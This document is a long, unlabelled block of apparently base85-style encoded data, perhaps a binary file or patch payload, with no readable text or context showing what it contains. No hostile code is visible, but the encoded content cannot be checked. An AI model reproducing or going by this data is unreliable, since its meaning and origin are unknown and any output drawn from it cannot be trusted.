z%;C)_hplzz@MkKAN5UN5igMUecMiibYN}Qa4~IFt9p$jO?i@y>a(F1rVR@9pZ*}KT zk;>u0FozXU4!_o&!^l()3&R{%MmhYliyYXNutK3ei~ntX0 zF`-~9tqe!`j;-j^-kYr5D=;yHHJAnPM!vebGMGDYXX~K4+IVi{z0@yV;A44USAHPh zeCgn*Uto#e{Sv0H9x1-$K1gcCN{D0lh+>)9zH~pH>t#SXnG|6I(W0V&-bp<&jMLND za-v<*%6UmLa7pvt+eMf3CDH{hX~ugImo#T#on6xM6)9EWi!g_oQ4aUlox_S$4xfiP z+!f_8dlxx`%xEPz7&BU`DPOIge9xNEtMjUx5#H5mMrE~|5%L~2qokoMg#;;vvI4S1 z4P_x2*J>zDU?|u6YI@X8rb)HZQ<&GPFHvJ`%XRHe8m@Ur6+>*-So-l_`qa41iJBM3S zIouuQusX`&o4RwTOyw{u%;B>rhjqKiA>`Alz`^*m8#U#t)Mm^K>!xumCX20W(M==X zX`l8Yo5oioO=C&zJ`H(~`m|kWB$IA$ID|}bd$&VeE1PZ~*HX4x-QMnSdzbm@;i%ht zg>%TJ$9|c5oDH$*uwS+lx3>zZ0=G90Q_gIkF=*rHcsi$5>*n@8!OUv4e&Ty!4)dcN z?x;J5Pg6O(8|JVe%3<0ratImHYH%=y^o*uFP`!jXdu>QhV;bM8SsN1GX+xS%LwYb` zNIPj9k@u(}C9ULL&QDkGMZFAJEMsjYi^;fFD`Dd}7|VN6EBQk@3%YR}tp1=m8Y>yR z6Dzp|)iJP=P0J%z^6n#bwvu}>xmnFhZVq$6_iDm+_)gt9+?UE>e3-*8Q4TBX&S7>c zhnvD2evNWiQFjjar*aq<=I~pT!}7Xwn3Kxk#xRG?Q4VkKB8O02nhOr5F8u_{gAHA( zZe3yP(#D0=>k{7Sy7Uz5(zB7eR8hNAM&6@!shU$xR;}p}D5Yxc2vrJQwJIn_tyQZT zs@ChZU(DJ`Z!aE6QPZ-8rmGlNW`|8f&om391!yN98a=5qd9Ntak@M)OC zJy8z#)Sbh7sT@8DbGSFk;qJO~Se44*<1mN&q8w(`ox}U796kzjfHMm>$amG9!w0Dx zJ`8iXKgwa|E^-JpH6Mb5X=}c4mBY+1hcBWWzOFlmiK!fBggJZ}<*=si944i5xHHV*t0;%B z>ds+uDu?M|4r`(uzT8C)Ay0A}I2cbdN>d)Hw!djT$;d~ldlJ0Uoz@lfB=1E$iP?`> zlP5vmchQq1eZ>tBEyY(%fRIsN@jWG~)mJo!uPBDA*x&5_MkGgL4@5POaorpzCVm@T zj#C1;SPMKWpiYu8b^q^@-vhk@brD~AZMcDe`y_=W@`_D}GJ~*fEF}w$SrpcAMB|&^ zK+J4O8c8*&Y^>>G$NEsL?B@CLhCVm<6gTkPgS^9iwIPi=NOKX)_Od2$jUl`n%Wl;8 zZe%Td^}6wh?T+Sg2{y_$mfg0pUAz=a#uU7T`f|8YDfcaW3WSIb(#NwDBnsRIc97^4re$ zLH#xw`=BnU@Y?Q!W_O;SQ-dq?Kc0~E={4(rZ z$b9D8G|7f&piSp) zXlyDdso-Ai;?Opp3EZ*Fty$rR3MVqKU5*@zrPS{Jm3y>y$r$u5_m9VcAsF|K?d^(q zch@SO?66WdQNlx5I3+k1qTU#a62~S)W0>3>4>^(h54it4Tg}0HMoM`)h0y^OC{y*S zr%PsG-Q-2eHz06)5p;x2Zaka?*%$vhY_Y#7&F6OWUvL@(6&O_*CBhvp%_*6>k=bmo zPOC(@s(of)BYhv>fecXIN^frTXbVpx&Bfw zgXKLEORrECHgIm1UGQQmZ77#oF&4R!ic$hZz5V8e-y^#~gNh59vWJHXn}sSO=JNdS zBpEo+8jsMcK~n00=Fl%K-P^}kBP!55)GzY(fr+s`@O@1E zxx*;}`as~gYTF35AW|7P!SCf10nt~>{s5yaZXM0>@_Mla<^eBT(-Es*DTlLhn2%L@ z8a7aKT7TB&6P8kClz`BD)LS&!Cuc|;9gb47w8yxCl`5#7kU3F@pi)_zZf?}pp-Dd-8e1o zHC9jCh88&o(^vj<+(vmQp6u63ad4Fzv2l)1HYmMTW*i3$90y!ch>1tM)74O8g8xGH zZwO_65(@Kl&pXmDZk$UO%oBXjd1LW@2{c-I!x+x4u`xpikrM>u5D`y0$~h#JiR|NP zeU(vy<4uF;oqCzxib|B&ev9-V8V}+T8@LZ_=0$%-_Vr3)c8qpw4C~fg!FfP~=X*Sy z>$7DAlg^c0(Ws_&w-aTkkOF(IGPMJ-lZwX~Ol%c->POv+ZLOZITY7A*KvG?s-mff= z7occhZF7HgDhf&pjZ4RiG7N)hhTr`FgR#f$vix{o^&eeQUM4L*mmWkVP@DX(c`#5F zK;7zWK@p9xMq&Hw%{b0ft-C3wAl1{GKtJIx^H){s{*}VLxZ+Dd_tK?iH|ZIyuaL6o zVy~;ZVNe{-Oe#zs>{VS2cXS<|UtL(?<<5pY$-S-I98-+G0k`JHD)8#mv;^#T-k-9U z+H0;egYw$1R2P?O%c30(9Al8;SEWI~kQshuI1YN*Ba@Vq_Hzn|LfZTO#96EA33je%YYywuQP`I$B5ro2)j1(M`<6 ziQp|8v)67I2G52Oju@hTTQw2#WTCg%OkKdT#;^myqZqV9lD^=MxIZZ3$0WBS*X|^@ zu*~_)t@v7G8l5n9&SL%o{Rr)i9RFJb`s&IG*&K%66BXd!;=%bFMJdjR;k-n9tt{4Z zQ6SFJp(U*JMkD7tej6tHtsyiu3a)tiI8r?a(`uqVz8o27WHWSu_!7^*AlK^qkaDH8Cjl)=C*m%-D^;bC;`fHPzrC1`%p<- z8f>Oo0FG`u;2`^}E+4=b6?j4afj46NqW5ZNpASGHU;X)qQzCC6TSx4nD|Z*5Gr|RB zdn|RSK9)Q#Yk&b+ zeV*hl2C7Q1SW3y8D$ZaGt6@4$KGQ%i)DU#0!OTHP8Ft&L)!SfBAI?7ew?Mg*tS;o}#pdx;{VHgG_wj%1c(^wHP zY!j;McScnzisvs3)#5vlSl97SHVi`#(UR76oNu8a*6}l;%Kw!*UKy?9WnMl@0NpuV z5U!%dq41`c7ey-m$*A}&pEYQ5vh=QhZeGC9mVPnYznQ0@@LFiSA z-Mls^m|D^2wlC+o?S}Bx=G^uu8DX1q+uLu|=eEx!ubrOT&bRg>H6>Y1&kzaSf#%ru z$@;Joy9L!wZHv+7S}Mi4GBkzd;>h-l@QLl${@j%Hm~^G^c}iVONZSFz3R4 z2fD@k<0(uY$3gnj~I zg9Bo04_qY!?S-Pg=rNfpuYsP}fh_3m;4qihif6kAnkq2Uq$$>3qzI?Fi%{cLN612( z0AhRj-}I*{ygeDkgdX`qEHBwXQ;(M8QUJwOoE$Zt zZU`ei_KiG0eqi9P(ch8*PsMiAKnG*=5g4Jucw4LcWtg|CgWw1J(p7MTaI+gZ4wRM; zOfhDJQre&dpc)=Z`m;`*qSG~ljkv{c_X6JP3eq9$?v>uVH+x~$UJ^2Kb-yaJr&inf_DDJ8RH zwpjtfBo>8OT8HMORnh@D-Ze3if;+2;oW@tzlkH22&|T>S89%mHDaPv)6q6 z{9&(6TOC^Gwb{Q{&!Uk!R_wJoK!-RBjsXFQ?T5()o;<_28j}R$&s~7#AeTW{b$lF3 zc%r!FZ>LJJC+EtISKD2@8jA_GGi9BOs&dsgJH=+N64-NrZH6{KBMZ8VztN;jcJV7o zl)e8S^{c@5yNa)nhkLX!atKeO%<_+ulf`YyymrhdoAYm_7t;uxu2Z~5#k_k(|FVoY zd6Y?Q_Xe9r>Qy5_a$F>ij$;JRpS6>*&9hq2M(UNnMWMcWlG#c4|AH7z)K(!9blfJI zj@v}(xD_IUxWkhjyGB5P$+DlLo4oD3X(Ag#A+3v9UUv?!n!zBm`~$rn&`3mkz|dE~-ccGzI!o z*cC^u!x?5VTWZBi&9ZM@o8G$u`3`*TRTBeC6OSYa8CFHSas^1h4D1>)imDo+_)3cW zw%>=XO6K$AxM&}V6m4o= z)yhjapRQ)*n!@EAI>qoh z9l8ih%}KWh?)6Z9@ znhg)RUcX(-{JVdd`CCJo|KlHLeswhSxV9|F{5wJBU;WF>znzkKsOjnQAom>hipxG0 zrO3P1TBs4f$*`nGjcQLei9|i0ja6$^^_LZUCFHd}`{{pNv1e(;fH#_H7@6^7IP!`Y z;;f~N6aK7Z1ZV!gE|aUxa=n)7spgoA&dr5y2a#O0ag7;VM(yC61A2iDW2+x zsaKnG-6EbR3vge4CD@o}!nB~b4{mV*I@Jj{jQvtp6lFZB9-~Rs|Aa z4279km><-ir_SYGgXTrJ7#3l@8hbj+V^3eb4+TJ}azm|}`v9~CN)#<-Y8>0sGFss)O>DiO0w7M z-0!5azd$ZUtFFwe9;b zQz`TG#zwF@1u3B&vn6R|4TTvF0!+{U zIV>(q>yk%%`=GT0oN9{Fr3daT*%6a*V5yw>4FJApzZ*M#}w#e&RRF(EJ!dTC{{y^7)MWnude6d;S!gnxG(j4%r zO{lfV_ddvX?;`JzBCi*6ShPU4)?lLpawu~M+z9u++(DazB1rCmo5`wIH8{(ww+e<|{o5mkVLA=VLl9F~Q^A)SB(X%IK|u%4cR& zAJ-hVit?h?6sa z?Fd|ggzM}uDW#vaR`;Nagfzfu3VWyZ30471DA8_eBTA0T_X8eOe2sODHEL&su$zN2(KzT^RO_0diG?QJ0+{!KlJ}Hu(As-du2BBR;#Du@T z2nVaOSiX^bE!X+-%_8yKFIZM;bhfx7lzk>IXz~u#H#pONQ6KIbCykWMAgGUjjckkm zPI~l7^MDGak5zq-Co6!tkmqLXY{*3~iS^BJxHrt!TRMcp|}N#!st%wcVm!{>G9Fg2CK?O_h^)7PY1`1bA2XQkB{QBl{*_`I9JMfSmP~lMlCKGq*f*O#+4iwN^p#2(RyphX4 z6stUV!o39^Hm~d8D0JFT`(awx4wUdufJ?1c!COsvv6kod#h%&)jmr^4%JWC9PN{U*I&7bwb(`4IBM-n!yKNBa=4}L9M*$FwYvLC zn8V^Ihw*jiumK#Zxw@Cb9G;GHxT)?OzE9=wQkcUtQ4Ztk&f$kt4ljl|JR9Y3W8FFY zn9AXWFo*v}IgG74hmENmo)2?)F3RDCx^wsm9K1xn%+7FZdVo|bcA@grmqPCEO=wEH zi4gFMD0J^vy!;FKNLjs}uYEZxQ>WW@20a7O_8TCbs2o z5gUFZM>E|09r}tz2PjWr%d_5uMNQ%pIC_+vr&ev|cI>}bPVkx7pAGjX9DFqr+@o9) z@jd;Lk?8JYsKyf!W-MQcl9i1kgQKoIQ z74UblF_;F{U|`OPN^d{DJJNGI%I3y@>(ys0MQ37xnYR_=BN#GaA;*&J+ViOxY1g*) z%-Qk3v-ZrIjg*gb(b*0iIpLR_Uu-8k>fJu2yo_7899Y6KpCP+>ef2SS!q&Rvj7_^T zz(6-C$SzFFR;1+WH!{)(_xX;)Ru8FO{IX>qEM{iR z@^DfN6PI$Nq_z4^8m;7%A#dYt#7R3k0d)gDUK+<#^J&;0l&_r&MnlaiG3C4@n^Vrx zKHa;Hy*|*8EiK$E&N|K6#|!YJzPE1=5R(~QH5vr*Tpt!%6Xnh8|B=}rxgeW|JGJ-0 zu55H(vG`woLyb9q8BLBu8#T-cd<$xraCFrobOdDD5OXqM)KI-M9y^3N?fSsa!)9=z z3%v1+M`9TMTC(<}tdZNk8z1hUDubyVd|vhJg`r`N8MqCx5!``VmbLDpW1$~DRJ`t4FFGPy3hv1qny zDmx&c8jr(UE_s91qg#f}@HdH?VQ4SjAT6QVaVlrsaDz5ZZ^ZBx`^hpn4~{u0_MUFJ zvm7-7s#BXViGdkjc!oG<05j0a-YH6GpmuzTSxD?o;gl~b9sf5sf=`+v4H=$6mS9IX zY=@JKpf&s}ROti@Ay2K8%_z35AK~k;_2UnDu&|Yx|TeZJW zTQ7E~aiq;{dwLNBAN>Ijcp`m>bLr$7T5YTE^=zZj{qVB6SaFYZRa>0y!Nzjb&`LZy zT^?cbUc|c7rKwAWU@(vpc1y2TtF-&&S*yX@hzSoMJ z@=Lr{Jmz&AT#u(tsjhyXD=x5>_u*`zy4GsDd^9KNicoBJichu=5cwPEMUa2r1>|pm zjHMaiw@^!UM+aFB+lM~$%-X8dn_t1U^897khpW!P%9gM8ui$b6P9ir_4NCcr;hesh z#+40gzN(mleY~R0W<1!d*J{oJwV2u=rEnL>oJtRd|3~tFb@c#4%~SjGsVb#^)}#wm z-eR-~&D2k~m75jd5Z&{IZq>I^x*xL{k|VI#tJerC6(G`ifTusrdIr=D@0_K+m(jQ% zUxUsTPCI8)6?y9QY5&YbQJbo;(M)K)_77=gstMe)=Jv&Q(-N~k=ZD+zIfDuuhL(=D zsSr}xQY(aNg449fyBKC1yPVaBP6f;l_ZYHm?KneDHxyt8=%skKH$IxIPT-q9UY0&A zC!fqzgE4lHQyOwmY8Ad-(U5hhuN+%zgmE7742|Zi%b9p!NclL-0<**(vaCj6fc?!` z>VjBnxE!3Oj6dV)4`r$gOZ6cqxCXVS@sdB?UOvNT>ElQHsNc15=c&*CfmRKz?UvSO z|BzOu+M!7yo1>;-nVk$Wm7%X6V!NKqU`b*6YII}Tbkq3h9y)c{RV{tE4jc|mz^Cx= zibvG+EPV1-1$YmssN2jrE$oKJYJs|6vH8n`?YrvJ?f7#2h5pOZ1G5i1CwN!KqHFY>vV5J$KGz#7=rELVg8oL>s zd4SH}vQpn1k-F}UEDGy$(9&}LE`@DXP&Z=QUe{77*mPeQ=NCOd{NL-B zEZ(GYt#(J&qFo-Dhc2Myu#z!KhJNlXce%1f36@YKT~3zL$ZF+eC=IGc2`#6u)^Hs( zTFljxS1V>#U0>Yz#91R&Fd>I#kH~s@{n~AIqU?Q}B9QltMo9`{HAN~O?Z3RDQ zQYeRsBg^qUL}_IzQp;l(>y7r@u6kNmZjk+UWcix#^bXm&ifnmZ#k`9K=*wi5nl>2;mwun3Ii<;XA96;^ zrIKY?il;nsBU>DNg~cCc4RZmCTNiGG3<=- zN1FxfWx;73GT=83uu{m=BD(YNW5qO!Pqu1~20E1S*bs;v+}QCe9CJsBt{9z^0`@{bEi%^weL1l9fv&M6XjH zYY644H%$?*p01WF{rRPVdaQ}&mxBqkN-g50Vk|GAFHT?gKa$l&(X1Az6QoAy4>eTF zk>uNzPkiqzTcb_39tg6fM~0O$c9#5b4EK?j*l#JOQ&?}+7U(Y<=Pp^Xx8V8#xuRw) zPFUjz4(^8N-`z~teu|3A^BH}oQ>VH&#U2zrL<4-^7ZbgGd3)548FB6z!1puMCV01o zNOrioWxH(A{+Z`CTPS!?W>toYEm``iimr)ymPVZ#=3{dZjJv<27E6oS+zg4O{3hX* zDb@Mt0gCT|x3_6ed@B64z?h-OpEHXIJfq3YWpzs)&CrcYOoWPl`Yw-A<#q6POR3r==iVHBL`6<^?G zHlcuLpvvs$vvyh^g1iHUA~GuQj9 znH4})w`Q`MwN?+-V02L}hIV-RGkxsu#0e#EkkmiR2fhPe#S`F?8BTS}bcy-_s8p^T z{(Ta=$@P~ZBkm@l`r>9IvDba@K~L4Fa*dv4Qcq-<#4@&^YwOpn98k z3z}(08fLx-R#7)YgGbr|Lo;UnU-SQD>!FaX({QLPzFLZ$>U$Jsl8vKgYE;=8D0(9g zOTyP@L(|emoChR5#lA+bJgG{YfZd0d!Z`|6pbtDoYA-q@R7At!LES}G5^B;!96G|@ z)EW8*JzEB#0FapsLs9bw$;bOj`Q@jDjb%UP$h1vZjOJl;+})%#uJ0N_=X`cPxAfbr zQS0<1Y6bd5oYM3AzUmiqnj}xXKT;+aL>p|RQ^x7ErdrI=9N8U>OJ9W6s(&!9GUL55 zmeza!oYoC;8I2!nosUcpEm^=(%kBBlfbLcNPv1SU3_8eF|LE=sG}iW32KHZK%G^D% z40E|>()z;p%jl*k-1SHK>9JPbE|xJH4+`NLpO*fE%wYQS!y_#o?|$lhXBg23@lymt!1^Gf&IQ;ssdp700e`U%>X=W%TddzH4U)!4uU5cZjhG=U5dD9$3~_ zSOcK>QRubK06c1;w#c#o`gy_BAx})X>hmwOA&%4N?r{K0rUYbtpVFI0qX;ca@ogpDb; zBezy>%f8XTXLI~1Gkf?yXs{<~+O5@XHT3Lisqv=4-mKfMJheuW{=Ej9y+ky|TWmWx zd;({9cBvht7>(3cq{P7I432wV#*8j>^LTk|->`D%G*zogRG)kIK~dpo68eq*&sKjd zR_=QBH|i11Z-Ot zCo0X#1ie6ow%(V~>B5Og%vx{13PsDh_&8UYyX=wo98eSW(1r8Y{WqwEJ;w4 z7&U+;8WO>no(v{8Cif;1bMxL9FXrZ^PzJCU5W8{2-oUQFfD{24#9jt_1;s9iy}jSx z+WUFVdCr`3rdX2y|9$;@WM4hEO!tn(; z?BzvVS|3U@)L_b-5YKg2igrtg%QAEIbsu_shuKU%B}7326~sO4U2kP~kY8p5(E)Ll zAyi;+R7~R=rgw?Bc=Q+^HD?6-&-N0*UOIV(f3N&= z__4Nhlh6WV9Bwop{BkN*6cL2}!E49p!Ik+B=G`Ny$^JHqDi4l@)5pI=^4TH11Xhte zhcwdXAKH1!;fS5t96!STBGdpds;so1t&m%jcW$`0#-LVA<-A9s9xK|(Kg!Agou)#c z6f@4a)6L}JSl5E^Hq4rgf1ArvulBHV41Fs5N8eV=;`OxSW@g|IBps>5X;t?7Vs`Ed zU#lqgJ&7XZ05|^SUYCoOmwm1^VQ5v^(~{q7vUiw1)i1jWdwt5^VM}$!?W!*r7xmdG zsy>Lq%4f5bFx8LxKc*d-M@qKMkiNQrtpbeh0d*A9beW@fNRqavaJIelvw;J7uPx~48eoU?R z5cbagA*$I-35zvR&Hpw9({E3E^^fF1s&!AMVP&-L0d=zgwMn*efGv^wP&I(5iYThF zm18Y~v(u8FHNU1hbQY3LZJcP78_gGNz#Bx<(-#8fvOvJ+uN<_#p1NxDp}D_uivT1B zguJ@O1yc~yltobI9=F1>F&pnH_1J|=t(l~5-lS5~ zpa@w7=%$7(eQ;<~T#FHyfmEPpRTXXeN2{r5%DOK>A?^yFv<8-W?Pn^Nj-(IeyHsnO zZmNWgsd_5Kdh31#8auBX)5315+=bM-B}^aggFU3pXDf#{Lwc%gNFk8-dd5{xgwd1? z+FefQ!w(8h=$rm3jiJv~(eB@7Ptah3YEd>OK~(g75^S}a5y@K9B>2Ea5l4#XZud!{ zMhjz0(8OlYM3kMRB}SP_Dxn=PoC+ZIQS~tG^^bz-QFQ|}h1Dd1H(_|u>%tcXb-%bys(CWYoExFA1HIv>|BWi)BAm-Zx3 z!m2FHJ1ROX>mGLG8|f42A+;_zxKm_ym|G`Lv@w?{pzg|;UGw{2#ERuc`(>=HG7aK3 z?Sd0;iT#ORV{uh($2tIKgt5mgDbR4%Q<+!U?0p6G4O0979O8FL<{%CGQp z++09FVu3%7IeLQl3}Bu7PLC$JZyx&j@l!x~J)MafMJp!?|@&@MKl?Y7EKQ#A-i7Lo%aW z!6IfMt7pa3EA5ie82dhQ;o@%kjN)R%Icw44d*jRq%(zp&BSy9l`vEy@2Gejg4q=MO4cvV;}(l`p4mrI#mp|Bk4%Xrbw=geoTgq~epTXDb>PRumVS z?)@B-tB9{hxvxN&d6=0!nT7F!Prl6UC*W$t$yC(WP_)eLCx$kOtI@j{ThhJ;E?W8X zoo47$N2?XCk$y$jo;tP^Ok|#4P!Bh_CcP3momqcFxrQDpdtbX5vkr2%#(qB8k1a|e zjlLczVS`~_|tMe1`mdA)Ysjq(fo7|xJNA- zTEA#B<^HMzUE>sS1*3o?jwyQs7F0CK4q+XrgCxfYQ1WkYpR7Dh}ea zhYD+2gDvUrNzh%uZY-d~{sggvWbL1=Y>syCqow}>n@?&!c(YMg1S1MYX1JuX$#zj@ zk7$#lW=Tr#72|=n2f{Uk6qm#^n~SA}#8(nsXgmf8e}?Z;wwVI@@+ep;soO#?M2kNl z%8Y=)ZQU3hDE0c99|!e%ew|z_a%vwpX+jeh>sVfVi^1$M;bnz8K@ym{jblk7SwyVJ zW2;*-mP=QBFis1YH`b6L$I$4{qSdrm(!e4DDN>$mvNIrx^CYBX!lr_dGV|P%)(xh? zJ#KlNozfDd31-}d%1dM&SB|aNmf2J26sRk~C5t?kK&F2VeG#|Q`fF;_18FEt_jExj{ng_C7Z7j;3EQ97%AG7AMfVZOg26=+lUs(=a@04SGA`FPr24Z3cS zS-M#_^W+Il=DKR~OL{oHB;n@ke=L*>MHpRs zFy@b|RC}ozYgzPyuw|CPy=Cz!s4Tsu&b?a({{B*#`FT%kTJ;B#2cH`heMA(MOqo=U=M zx2$I+;2f-Ia@0quVk1JXjgW+x&-wTa>@J=V$320Qz_7N-u<<#2Lk=6+h^Ly{oVJvp zqWDng6EvL{de`!^1rHnk6n|c*41`YAVzoo{C-hm1YZJ2M`vIi%NRmVdy&PjZ#g;lT z0Y;%C+us%74dij^1;T3(*S&O-95g~%rk)XA&0Ku{@<|}HTsH&}^+k=lpv%6B*ei4w zt_r5?J<3Dni6T%bfrJKC$`)w_eZ78sZra0Rf~udJq}CL?qo%TDt!D#SbwsknLN|DW z4%F^TBeSyZ!)-$m!x)0WS5WI{7Xd8fJ}T4fMNd(vF6l9GSCJkQm(9THm%YA)PxRE< zxB*}38stYE!^hlBljkRg+vqyo$$n1MWEw@)7RfIDN31s+b0i=9=Vm)u)3A59J(QJ< zY`>Cj6$~l>a1+S+%HtS*eTx<3Hm2 zjnq9yed_V^pgtY-cS$yVtwZG3T`yy0D9IGFgx|Oa{{We~%leLjRJU~ZtItzjhC%!g zrw+j-Nd&QD1&|$sg<*7EkUCI2Q7=gz@OPC8GY8sVGC_8G$57BTrdxc%agEG7@^ZZZ zYO<%=I^HsueU251o0XwkSjrU5xutvezrx-<>n;}2jpde4H2OG3i@6578qqDkjZZA1 zn{j6W5t6RqKa@o0l2^=us@!dVpgqg5AROlOmEwF%Ugac;I)W3MBPCrmrbYtO*y@V` z_=yO9A39};?P|N3<*fTexnvyzc9JYvcP4w2@Nnx+2*u_2WH>bo;t#El7y8-BF;cks zECh&HCP6D|x4g?yGJyfYnjTJMW}S@~CYa=O^poK8+I3eW^N$MpgWSR3;kDlvY? zpMj}VSw)%pMt%Oo!igKcJ)ORUUiAG+1ME;OR^={MbRVELFp_)9ZHoK#b}vNSPW}_G zs&ot2_0as%LI%0}d{~g3gAzr|$;G;)T%A2ruXQ*38}#TU`JPK36mMl9gP7&&GgP)U zc0qY@pl_jw)uxl{#aXv_xZ5pdx(v>t0-s@t)3oPQOU#;( zJb$8HwC^;V1utKEf%nSxr<1f0evq5xS6T=P?aotOg?o<0f+Q7I=(Z+|RcXdUEFk7{| z^Usy_<}|1>p9xzUQ>g_#Xvk3K!iwzbzg=vU_6iIZds1TeRcCaJ7?C2;24zQDSAGEd;A_OCL^TJ9h&?l z##ry(^ttRTuFRc6c!ws2#H&t66v#L2*JQ59Rlzm=dU8`ugDpE@(&vQR4NjF!yO7bz zuGdLm=OD-J{3277a2y2+c|lW%FR9*AZ+C)Edw&>O)ieuL(2!D@G9R-Iz%#s#YpG5YTcbu9vI<1&t=%YffL#s^C zk5%jWP5tdTclw_ib5|}!?Ug??2kFad7@P7%BS$5tjaG(5eW%ksne}cRKH(b$JYs(z ze~gKu15)9QCO$0Y_lq-P$Fil5S7BOj^_i2@XAq?Nc^%rj+R|!C8S3IxAJo&jF{WF1 z@PU3=4$vaB!SUASm0f>1`HHl%`;P)*j-ghlNeeYJ0VMS(@1rpVBl~4X{~MZmZM0?O z*8EXvx5Isa`7O8^N6;D^#Fuc3IAjMZeZvP<)@$L_?ykcdxd==}mosS+tG?|j$`ZUN zzsyAB3GPXHA!qjU=-X#URev5AeR~go$p#pbyoc9;(+tUFd=wa>)NI_CVmq12$(5t( zqrSh6G6yOj>PCm&A_DM9B8}Xz#pJ0U8%&<(H|IM!4))9TA&N9;2H5-B-wCg~X%#Z( zX>bXGRl8?Bf!F1wK2Ylrqw#o%1t&yUQ;ai{|LMMn#BVD%ECjLYL@0ergM@O{gOBXL z`E`0U*tKo+PC9=XalW+H4b(Jn^N;5#`GzdVywUfb^L-`o6!l%s%-;YA5B$i0;C(j# zlKJJIq&K4cT<6n^)kh5F%CQ`McPXu_?N+c*YDTc0Dsz{$zbalmP5<~C>QPBI0yJt;Qk~7 zRGNu&nt6n2={?^V4hFN&l&+?$#0uzXgnb-k|BGhsVhcdO+FkrInL@GOLJYQ#n|`td z9rm)*xxItaDFbMfkV~{salfkUnSl3h58nTu90ASMfJTG`a0a_e=(FzQ7Y~!%09U+X ze9m9UpR|~j+Z^f{Yt-`vqf6g%ME=E#>@Hd5q2>|qU9mGAh8f}dMGYFLB2^gm`gK@T zH`@O;kH>xn@TfNDk(fGmSc2(?QnkoMYsMqH%^w+|vL^$h?YyH0t9wsCx{H<&@^fusF{Xjj2}HXY17+Bdr`J78FtrzF3$ZdH&5+BtEZeKcNY)h$p-z zHDQU|{`3lS6fsQ}HTfa4&{FY=^FJ^ko5SZEG-XF+8&yw&b2(F3E+rTwyYa{71OPxK zve$wFubAXY9TxdIOtEw)HAnNth?Fe5tI*6W)$WW}jS<);-l@w^hZ*R$gzZt~`zLFq6`5e;I6!9N^l^)ytNmYM16ZBXd`Pn(P5>JV-Uej(m533beLBjpl*O6oP#&kPuAxQ zo*BudpESbc=C7y3Rc}SFWS@(oEM#UlPlLzGUXD;3RuVu+_O|J2Pb&>o-jK zM&6WbQ&X-k?oTg=AeB<|0Oo5;Sm%In0&1-&bpi92n&v2QR-g6ydeJ>QDOLR0C^Jb~ zMbh|y(`|=jqMzH0jnN_etYGFXKrD_FOuxQfn&2IWSk~sXce4`zu_dj3RqB#;Ls)ap#7s?IG8Hdg^x~J;0 zJZOiK)MfF?#icqm)pv;naxY@^8hwu+%_=L&RqUDJ!+JOKuft`~fR0!5ob905c95_m znMUyy46pAqcsc8}!RMw2Cu%(pC4+Beu&GoKRx?}E``pvZd%*Q=jx_}!BuSL=>1g5utjcFL_jvWJ>0gzm|WPCecj?V`W3!=tb8 zQ%ob7t--Z+ZQtQAuF<{+QE3}Xg88r*w10}vZwvqF-(Rr{A=tsm@v}JtvoGG4P)IJb zS)}w0Tb_GUliT%6TPo_V0Gx?_XkV|1e!@>3UEVI{c54@l?L~fa;{bF@^ssM?eyNv< zSTfOn=zXGPzlEE+^{!jOyS8wbr112-c6d589FtouJpEeOtS^^JbH*ZXFGHE(yq4+h zJ7`Pn$H7z&7?#Qh6YC?Y`#*%2|*^kqm`=gCXu;oYuQVp>fnCwhjgYg~N$k@&BgPEMNZ z3!sG0K*)QQ72a8dB*)<)Vy3DCJ<2fC>HtXk?(esH4$Fu>Z>v!Fx6Q6!C&DI<*eOUy z*JFrL`=bTwf(gV&lMN<}UK5KztKGSp_j~#k-;I3)_&yIOHLaw<&FI>pTbXgf#5#0l zsEP)r%bSt-#K?qR{9ivAu_BVP0CMj}X%TP)X|+}cCd1ob+@ti6NI@w^|*V$(W@j)H88 zGuW_g1kQBcH?05ZwuGpf( zK#Iw#u2X(JM|PaK|Kbf7-2a8ACVcb6Ata?sx&M9=F*Lw14Yhip~9*bua}wZUbH>wN{pw4qZ>y(i7v`qV3!T z$Z&l_T-&$t<-U+Uy*_X+f15E|Mis>8l$@D(SiKwFnPJ^8udMCs1(Ad8mS43zR1 z+LcEMt@FjaJIx*fC0t`mm6jkMld-`@Ul$r~t&euon}&xMah7;)w2Vr-rHjf^?_M38 z1DPRbWaHdmpw3UT$q0qMzC*zqW((*JeERnj%2(cM>y& zG3z|1L#w?~8c=N_7xL?DD6uf(X2a$6LbkrUKJdNodeZM(pEjBmBgNjnw6hr-bE(-y zmenzrT9vn~mxH(}Tvmm`Jn{}5JnY`n}x!a(S!q8^#L<|_ZgTNnSXwYNtYw19b zg-=Zb6t$jBnjZVnjb1eZSctuex51sI$4V*!0?+R(cS^gmZERCX%=@!zwmcqyf(ikb$6mRz7D^jGsdYD&Bb0Rsq0A~nC_)JcWuayj4fd2GYBrEa|P!C%sE@q$ht_)Mu~gbILQ~HXwf~dRv_x&>B(#?uv==o&XE7++}$| zeOKpEUt4=(xjdo1i#oy1770N8N$#lq7LI%R{&=dsr~SNFiM5H1U0&{VHYTStv&`uP zHg=m{o?~NY6oVyqmd}iRi$4uUZO7nyI0oOXezAGx+B|`8aBi!s!d3yU_$7FKjdm&~ ze)o+Nh6?C#sT%}U(M2~fA@^dtKm1Lti z9dQb50}i-V|KzM<rm9y(^ z33i<-xRkH!RNk%|u8^xcJWD=8~f3L2O@u8-C>m9p*!}cqwr^u z8HU%F{w49h+YrRFKdDMcn?V_VX6c4xPbGLm2IkP!Eo2L&k|m+NJ!scea@@Y$nlu5X z*-S1a*>C0sIi1_IJMvU-3_lsg7=8=?))Z~;mU2s*6>d+&amY8L?GIqYXgLu1YzPs@ z?Z?{(Lr@F0BjRWyHOrVVW)mZ3eKI}TG1$fCy=lVxg z1HiDyeyuqGV5umdTD%sC!V#0Wim_H+ zvQZOnTPH-~q?c_4Q*aAt>?y1xYhEAp=L2qf8XhQb05`zgt;#BA!SNy_@_|%eVk+a7 z|3}865~`zcsG!1h+c2iL*mAwQEPXaqPOwE9gEF!!X%kC-_`cuKa-9vN&5pEMv)h`@ z;FRJlgEM)n&nq^P;ZS;W4m@Gv;POswFsFSEkN)7_em^@rqSQMCMXyY+HJZ%v4;@w+ zrfvDbV1c0>ai6f$!6b6H`IHFfNS4a8&_w}OaOuSan2P;m$D}0KG;xV*ej&bOr|@)< z#h1afu=vyc;%$bfip(vUX~jy?#QM11*=Q}Y;e=lY_z=#n!)$7Lfhc9^x(vr1-3pm#NhiF z9LLC~vl+e5y}GhTV~CNjE&`-7V1~6^DgYU8sZ^$lu@#o%1^4~)CddWv0Wj;<9(K`- zZ|mH3p3|TOx6kq53E0n@K$M}??zo%E`n5NAmuU%}QH=?4YjHgvfxNTGj>;T+U{P0S 